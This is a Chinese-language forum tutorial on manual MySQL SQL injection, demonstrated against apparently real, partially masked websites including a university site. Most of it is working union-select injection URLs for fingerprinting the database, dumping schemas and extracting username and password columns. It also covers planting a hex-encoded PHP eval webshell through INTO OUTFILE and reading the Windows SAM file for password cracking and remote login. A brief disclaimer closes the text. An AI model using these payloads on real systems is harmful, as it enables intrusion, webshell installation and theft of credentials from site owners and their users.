天天看點

SQL手工注入基礎詳解---- MySQL篇

作者:DragonEgg

資訊來源: 噩靈戰隊[Evil-Soul Security Team]  http://bbs.x-xox-x.com/

    和MySQL資料庫搭配在一起的大多數都是PHP腳本,注入在PHP腳本也是非常泛濫的,但在php腳本中,最常見的是數字型的注入,在php注入中我們利用的是union聯合查詢,如果連union都不能用的話,就隻能像ACCESS那樣逐字猜解了。

    MySQL的注入點判斷很容易,隻要報錯的内容中有“MySQL”字樣,就是MySQL資料庫。并且報錯時也會把路徑暴出來,如圖43。

    MySQL也是要分版本對待的,為什麼呢?因為在 MySQL>5.0的版本中内置了一個名為information_schema的系統表,我們可以利用這個表來查詢所有的資料庫、表名、列名以及内容了,不過我們要先判斷它的資料庫結構,我們送出:

    http://bwc.****.edu.cn/index_news.php?id=127 and 1=1 union select 3,2,1/*

    直到傳回正确,就表明目前表有三個列,傳回錯誤的話,就按照格式繼續在後面添加“4,5,6……”中間用“,”隔開。直到傳回正确為止,我這裡送出到了15傳回正确。再把1=1改為1=2使其報錯,就會發現,頁面上的内容被幾個數字代替,如圖44。

如果出現“類型不比對”的問題,可以将送出的數字用“null”代替,因為“null”能比對任何類型。

    我們發現,13和14位置比較明顯,将其中一個改為“version()”,送出:

    http://bwc.****.edu.cn/index_news.php?id=127 and 1=2 union select 15,version(),13,12,11,10,9,8,7,6,5,4,3,2,1/*

    就可以得到版本資訊,如圖45。

如果是小于5.0版本的話,我們又要去猜表了。若是*nix伺服器的話,我們可以判斷是不是root權限,送出:

    http://bwc.****.edu.cn/index_news.php?id=127 and ord(mid(user(),1,1))=114/*

    傳回的是正常頁面的話,說明是root權限。如果是的話,我們可以直接寫入一句話木馬:

    http://bwc.****.edu.cn/index_news.php?id=127 and 1=2 union all select 0x3C3F706870206576616C28245F504F53545B2763275D293F3E into outfile '\www\edu\1.php'/*

    如果傳回正常,我們就把一句話“<?php eval($_POST['c'])?>”寫入了1.php中,其中“3C3F706870206576616C28245F504F53545B2763275D293F3E”是一句話的16進制格式,“\www\edu\1.php”是WEB路徑+一句話的檔案名。可惜,我這裡是windows NT的伺服器,沒法截圖。我們接下來試試有沒有讀檔案權限,送出:

     http://www.****.cn/v_news.php?id=1806 and (select count(*) from mysql.user)>0/*

    傳回正常的話,說明有讀檔案權限,如圖46(換了一個注入點)。

我們來判斷出目标的作業系統,送出:

    http://www.****.cn/v_news.php?id=1806 and 1=2 union select14,13,12,11,10,@@version_compile_os,8,7,6,5,4,3,2,1/*

    如圖47,從回顯可以看出,是WIN32系統,我們可以暴伺服器的“c:\windows\repair\sam”檔案,但注意要用hex()函數轉換下,不然編輯器無法直接讀取,送出的語句為:

    http://www.****.cn/v_news.php?id=1806 and 1=2 union select14,13,12,11,10,hex(load_file(0x633A2F77696E646F77732F7265706169722F73616D)),8,7,6,5,4,3,2,1/*

    如圖48,然後用16進制編輯器加載16進制代碼,另存為sam檔案,再用lc5破解,若伺服器開了135/445、3389的話,就可以直接連上去了。

    如果沒有沒有檔案讀取權限,我們來猜表,送出:

    http://bwc.****.edu.cn/index_news.php?id=127 and 1=1 union select 15,14,13,12,11,10,9,8,7,6,5,4,3,2,1 from user/*

    傳回正确,表示存在user這個表,不存在的話就繼續猜。如果成功的話,把數字換成我們要猜的列名,例如把14和13換成“username”和“password”,還要把1=1換成1=2,送出後我們要的内容就直接出來了,如圖50。

    再來看看版本>5.0的情況下的注入。5.0以上版本中提供了一個新的變量,那就是 “@@datadir ”,利用這個變量就可以暴出資料庫的路徑,我們在14處暴路徑,如圖51。

我們再來暴資料庫的庫名,送出:

    http://bwc.****.edu.cn/index_news.php?id=127 and 1=2 union select 15,schema_name,13,12,11,10,9,8,7,6,5,4,3,2,1 from information_schema.schemata limit 1,1/*

    如圖52,想要得到其它的資料庫名,就把“limit 1,1”的第一個“1”改成相應的數字就可以,如第二個,就是limit 2,1。得到了庫名,接下來暴表名,如暴“bwc”庫的表名,送出:

    http://bwc.****.edu.cn/index_news.php?id=127 and 1=2 union select 15,table_name,13,12,11,10,9,8,7,6,5,4,3,2,1 from information_schema.tables where table_schema=0x627763 limit 1,1/*

    如圖53,得到了第一個表名:“user”。再暴user表中的列名,送出:

    http://bwc.****.edu.cn/index_news.php?id=127 and 1=2 union select 15,column_name,13,12,11,10,9,8,7,6,5,4,3,2,1 from information_schema.columns where table_name=0x75736572 limit 1,1/*

    如圖54,最後我們知道了表名和列名,就可以用上面的方法暴列裡面的内容了。

    通過前面的學習,我們可以看出,如果access資料庫主要是靠“猜”,MSSQL資料庫主要是靠“暴”的話,那麼MySQL資料庫就是“猜”和“暴”相結合的方式。當在MSSQL和MySQL資料庫中遇到字元型注入點時,因為它們都有各自的注釋符,我們可以先加一個單引号,再加注入語句,最後加上各自的注釋符來注入。

    到此,我們的手工注入基礎知識就講完了,并且在我們的文章中幾乎沒有用到什麼工具(ASCII表和查找目錄語句可以背下來=,=!)。如果大家能夠熟練的掌握好手注的話,會發現手注其實比用工具注入有趣的多,在我們解決掉手注時遇到的各種問題時的感覺是非常爽的,是以提醒大家要能夠熟練的掌握好手注。還有非法入侵他人的計算機是一種違法行為,請大家不要将學到的知識用于非法用途,這樣隻會害人害己。